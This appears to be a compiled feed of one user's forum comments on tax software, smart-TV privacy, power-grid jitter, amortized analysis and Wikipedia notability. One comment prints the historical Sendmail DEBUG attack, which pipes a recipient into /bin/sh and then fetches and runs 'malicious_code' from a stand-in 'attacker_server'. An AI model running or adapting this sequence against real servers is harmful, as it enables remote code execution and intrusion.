kazinator

Nope; I use a Lisp thing I made myself. You model the tax return form fields using the macro language. They are linked together reactively like cells in a spreadsheet with dynamic updates and history viewing; e.g. if you change some value, you can see how it impacted every single field, so you can optimize registered retirement fund contributions and such.

I've not had a mistake flagged on my returns for the past bunch of years thanks to this, so I'm sticking to it.

The only problem is the yearly churn. I begin by copying last year's document (basically a Lisp file defining fields and their values). This has to be edited not just for values but for changes in the tax return form.

The form fields are tagged with a section symbol, which corresponds to the document; I can produce a report which basically indicates what to fill where in the paper form.

I could integrate that with electronic filing; the Canada Revenue Agency has some sort of program you register to gain access to that. (This is distinct from the "e-file" system for online filing for individuals that I don't use.) I likely won't because I believe in the paper forms. I did the work to figure out the taxes, someone should open an envelope and read handwriting

This system actually reduces the filing because I can skip the various field copying and intermediate calculations, focusing on just getting the data into the "payload" fields. It's the least time-consuming part of the process to the point where I have a sense that I'm done when the numbers are prepared, and the rest is just scribbling (cue scene from 1980s Amadeus movie). Especially that since I double check the figures, and the calculations are done by machine, I never have to do the entry twice.

Now, if something comes up in the tax code affecting me, I'm going to ask AI. E.g. "am I eligible to claim such and such". No to actually manipulate figures for me or fill something. I check every hallucination to actual documentation from the government.

Say the TV finds such an access point and uses it. It phones home and so now the manufacturer now knows that such and such serial # TV is located in that neighborhood.

They still need to tie it to you. If you've not given it a shred of personal information, it has to be fingerprinting via surreptitious audio/video recording, or else by obtaining the purchase info from the retailer (like the name and billing address from your credit card) and matching that by serial number (which would have to be recorded during purchase).

If we want privacy, should we be buying a TV which has these peripherals? I don't think a TV should have such things, so I would sooner rip out or damage the microphone and camera if I had to get such a TV. The ability to connect to a network could be useful; I'd not mess with it.

The assumption here is that we don't give the TV any personal information; it's just used as a monitor. The content comes from some other device connected to an input (e.g. HDMI1). (That device may raise privacy issues, but we are concerned with the TV).

Without either doing the fingerprinting from surreptitious audio recording in the room that other commenters mention, or else matching the unit serial number to the purchaser (requiring the retailer to leak personal info to the manufacturer), they can't match the unit's location to our identity.

> “AI may be a great calculator, but in business, intelligence is mostly judgment,”

Bzzzt! Calculators do not hallucinate. AI bots and agents are nowadays jerry-rigged to use actual calculators for problems involving crunching.

> It’s a bit annoying if I want to switch to a game console

Yes because you have to fetch a shitty TV remote with buttons inspired by a Boeing 747 cockpit, which must be aimed directly at the TV because it uses shitty infra-red.

Am I close? :)

Why would I care that some device to which I never gave a shred of my personal information of any kind (e.g. not logging it into any online account) found an open public network that I don't use and that has no connection to me?

Sure, I would be disturbed that it's doing that sort of thing in spite of Wi-Fi being explicitly turned off.

What is the threat to me though?

So you think that if the TV doesn't have your Wi-Fi password, it surreptititously turns on Wi-Fi and runs cracking software to obtain it anyway?

> disconnect the wireless radio from the main board

Can you explain why you can't just not give the TV your Wi-Fi password?

Or are we worried about the case when the TV did have Wi-Fi (due to it being mandatory for some initial setup, say), but we don't trust that "Forget Network" and "Wi-Fi off" are actually honored?

Suppose the device surreptitiously reconnects to Wi-Fi in spite of being told to forget it. You may be able to block it in your router and failing that, change the access point password.

No?

But seconds are 60X higher frequency than minutes. This is almost 6 octaves higher. The grid will low-pass-filter that out much better than the minute period. (You can see that trend in the diagrams given in the article: the amplitudes all get lower with decreasing period to the left, where the 60 second blip is a an outlier.)

Secondly, the amplitude drops. Events that were concentrated on the xx:xx:00 times are now distributed into xx:xx:xx times. If the overall number of events is the same, each :xx time slot now receives 1/60th of the events that were concentrated on the :00 time. If power decibels are relevant here (20 log 10 x), that's a 35 dB reduction in amplitude of the driving signal.

35 dB less amplitude, shifted to a 6 octave higher frequency that the grid doesn't react to very well can be expected to basically make the problem vanish.

This is much like the situation of soldiers avoiding rythmic marching when crossing a bridge to randomize their footstrikes.

I'm skeptical that this one minute jitter period is solely attributable to one minute timers in power inverter equipment. It's likely the net scale effect of all cron-like scheduling of actions in everything with a microprocessor. All the long-term scheduling that is done with minute precision (i.e. seconds field is implicitly :00) regardless of its individual period. Like if one device is scheduling at x:17 and x:47 every hour, another one is doing x:06, x:09, x:12, x:15, ... and numerous other combinations, at scale, the common divisor will be one minute. If wall clock time is used, all the devices that are synchronized to a network time will have cron-like scheduling events firing at xx:xx:00 for all values of x.

This type of scheduling should be randomized at the seconds level, perhaps. Unfortunately, it would require a massively coordinated effort across numerous operating system and application stacks.

In other words, convincing ignorants is an uphill battle. Those who know what "inrush current" means don't require convincing about the value of rolling starts.

If the AI boom is a bubble, it cannot be a bubble in the US but not be a bubble in China or vice versa.

I also dislike driving; it's just a chore.

Except, it all somehow changes when I pop into the driver's seat of a manual transmission car.

What's the point of accusing of hypocrisy someone whose business is built on theft.

I produced a fork of the Cygwin DLL in which the POSIX chdir() provides this same feature: the "currently logged drive" and per-drive current directory.

https://www.kylheku.com/cygnal/

It's behind quite a bit; haven't done a rebase in a while.

This is just one of the features (Issue 7); the idea is to provide a POSIX run-time for easily porting programs to Windows, but follow the conventions of the Windows environment.

If I were to guess, it's because the program has an extension associating with an interpreter application, and that association is handled by the Windows Shell framework's app/document launching API (like ShellExecuteEx, if I dimly recall), which is used by Explorer for running programs, but not by batch files.

Am I close?

In 2020, Seiko made some limited edition Porco Rosso themed watches:

https://www.seikowatches.com/global-en/products/presage/spec...

For instance, I'm in a room that has a "popcorn" textured ceiling. Suppose I take detailed pictures of it, and start making maps, giving names to the numerous bumps. Would that really be knowledge? There is no doubt that it would be data.

Pyon is dwelling on something that is neither here nor there, since the article makes no claims either way at that level of detail. The word "average" does not imply anything about whether cheap operations before or after the expensive one are helped. Amortized analysis is an abstraction which can redistribute the actual cost of some high cost operation either way, because it's just make believe.

Operations can incur some kind of "debt" which a more expensive operation occurring later has to pay for. Or they can be regarded as enjoying something "prepaid" by an earlier expensive operation until the credit runs out and another prepayment has to be made. Possibly, either view can be used to arrive at the same result.

The level of contention on the part of Pyon is disconnected from the level of detail given to "amortized" in the article and based on the false premise that the word "average" implies some kind of order that is contrary to "amortized". (Expert, my foot).

It is factually correct that a an amortized performance is an average, but readers should be aware that it's a special kind of average (not every average is "amortized") and that it is a warning label: an algorithm with performance quoted as amortized possibly exhibits a big latency spike that occurs infrequently.

Pyon's comment is obvious humor; the commenter is method-acting as a toxic expert with over-the-top language like "how dare you mislead your readers".

However, I have to agree with the substance of the comment; it is a pretty lousy explanation of amortized performance to simply equate it with a kind of average:

> If you read more about big-O, you may see the word “amortized” thrown around. That’s a fancy word for “average,” meaning that individual occurrences don’t all behave exactly the same, but over the long run, averaging over many operations, the behavior has a certain characteristic.

While the result of amortized analysis gives us a kind of average, averages show up in more than way in performance analysis not necessarily via amortization.

The author complains that "[Pyon] pointed out a detail of algorithmic analysis that I had not mentioned. It’s a detail that I had never encountered before."

But the author obviously encountered amortization before, and mentioned it in the article, and not in a very good way.

Amortized analysis isn't something obscure; it is the basis for understanding everyday algorithms such as chained hash tables and garbage collection. It's covered in like third year CS courses.

When an algorithm touts amortized performance, that's a red flag: it suggests that certain operations are infrequently hit with a pretty big cost. For example, a hash table insertion that has to resize the table doesn't just not act "exactly the same" as a previous insertion, or following one; it takes much longer. All the items inserted so far (or at least their hash table entries) have to be visited to redistribute them to a larger table. That could be hundreds of millions: the larger the table, the more expensive this is, yet less frequent. So yes, the amortized performance (like O(1) constant time for hash table insertions) is a kind of average, but the distribution may be heavily skewed, with implications particularly for real-time work. It's not a "nice" average with a tight bell curve distribution jittering around a mean.

A better way would be to say that "amortized" is a kind of average where operations are infrequently penalized with a substantial performance hit, which helps make most other operations faster: the "amortized analysis" which calculates this kind of average works by pretending to redistribute the large cost incurred by one operation among the others. And not all average performance figures are derived using amortized analysis. The word is only used when that particular reasoning was applied, and is mentioned as kind of warning label.

An example of average that is not amortized is, say, searching an unordered list of unique keys, where we expect on average successful search for a random key to process half the list. Readers do deserve to know that they should not use the word "amortized" for this kind of average!

Anyone who disagrees with the notability guidelines must either propose revised notability guidelines which are more inclusive, but not absolutely so, or else accept that their position of opposing notability is tantamount to arguing for the inclusion of all data about anything whatsoever.

If you don't think that information about every UPC code or person who ever existed is fair game for inclusion in the Wikipedia it means you have some notion of notability. If so you should articulate it exactly and say, "this is what notability should be".

The argument can be made, though, that information about subjects (such as people) that are not notable is just data, not "knowledge".

> You should not derive your worth by this metric.

Ted Bundy and Adolf Hitler are notable for the purposes of the Wikipedia. So, yeah ...

Also, another way to be notable enough for the Wikipedia is to end up in the "Notable Winners" section of this page:

https://en.wikipedia.org/wiki/Darwin_Awards

If you ignore a road sign and run someone over in your car today, nobody will make systemic excuses for you.

Someone was driving the train who couldn't estimate the stopping distance relative to speed.

If a car is stalled in the middle of the road, and you hit it, that's on you. 200% if a reflective warning triangle was up 100 meters back.

Or, how about, issue a mandatory repair order and follow-up inspection for every false positive alarm that appears to be due to equipment failure. The follow-up inspection checks that the alarm has not simply been disabled.

> I am not sure you will get parts and service in 10 or 15 years

Giant dumps of discarded electric cars in China would indicate that even if you live in China, you cannot get parts and service, or not in a way that is more financially sound than scrapping the vehicle.

Those who don't understand shell execution vulnerabilities in 1984 Sendmail are condemned to repeating them:

  telnet victim-server 25
  DEBUG
  MAIL FROM:<attacker@domain.com>
  RCPT TO:<| /bin/sh>
  DATA
  cd /tmp
  ftp attacker_server
  get malicious_code
  chmod +x malicious_code
  ./malicious_code

If you want articles about AI to be written by experienced users of AI who have skin in the game, and criticize AI from the perspective of being active users receptive to improvement, you kind of have to accept that those people are highly likely to use AI to write articles.

Being critical of LLM output isn't a new skill that is separate from critical thinking.

Being particularly critical of LLM output after using LLMs is not an acquired skill either; what is acquired is the erosion of trust.